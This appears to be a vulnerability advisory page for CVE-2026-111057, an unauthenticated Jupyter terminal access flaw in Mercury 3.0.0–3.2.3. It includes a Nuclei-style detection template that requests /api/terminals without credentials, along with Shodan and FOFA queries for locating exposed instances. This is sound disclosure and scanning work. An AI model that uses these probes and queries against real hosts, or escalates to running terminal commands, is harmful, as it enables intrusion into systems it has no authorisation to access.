CVE-2026-111057: Mercury 3.0.0 - 3.2.3 - Unauthenticated Terminal Access

2026-11-29 PoC Public

Description

Mercury 3.0.0 through 3.2.3 is missing a comma in the BLOCKED_PATTERNS list of mercury_app/block_handler.py. Python joins the JupyterLab rule and the /api/terminals rule into one regular expression, so a direct request to /api/terminals is not blocked and reaches the Jupyter Server terminal API without authentication.

Details

CVE
CVE-2026-111057 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-111057

info:
  name: Mercury 3.0.0 - 3.2.3 - Unauthenticated Terminal Access
  author: s4e-io
  severity: critical
  description: |
    Mercury 3.0.0 through 3.2.3 is missing a comma in the BLOCKED_PATTERNS list of mercury_app/block_handler.py. Python joins the JupyterLab rule and the /api/terminals rule into one regular expression, so a direct request to /api/terminals is not blocked and reaches the Jupyter Server terminal API without authentication.
  impact: |
    Unauthenticated attackers can create a terminal through the Jupyter Server API and run operating system commands on the host as the user that runs Mercury.
  remediation: |
    Upgrade to version 3.2.4 or later.
  reference:
    - https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm
    - https://github.com/mljar/mercury/commit/8c467129037ee9df269d543ac217ffd33b97bf3f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-111057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-111057
    epss-score: 0.03245
    epss-percentile: 0.89089
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 2
    vendor: mljar
    product: mercury
    shodan-query: http.html:"--mercury-text-color"
    fofa-query: body="--mercury-text-color"
  tags: cve,cve2026,mercury,mljar,jupyter,unauth,rce

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "--mercury-")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/terminals HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("^\\s*\\[", body)'
        condition: and
# digest: 4a0a00473045022100d8f44505c8d84bf53ba4de2c52fc7a8d30c9f621322dd90d82737fe7a1121673022067e8339d9f4a8dd619e0ebdb56cd9ad8f35ea131f0129a73e63cf1c53a461fb0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life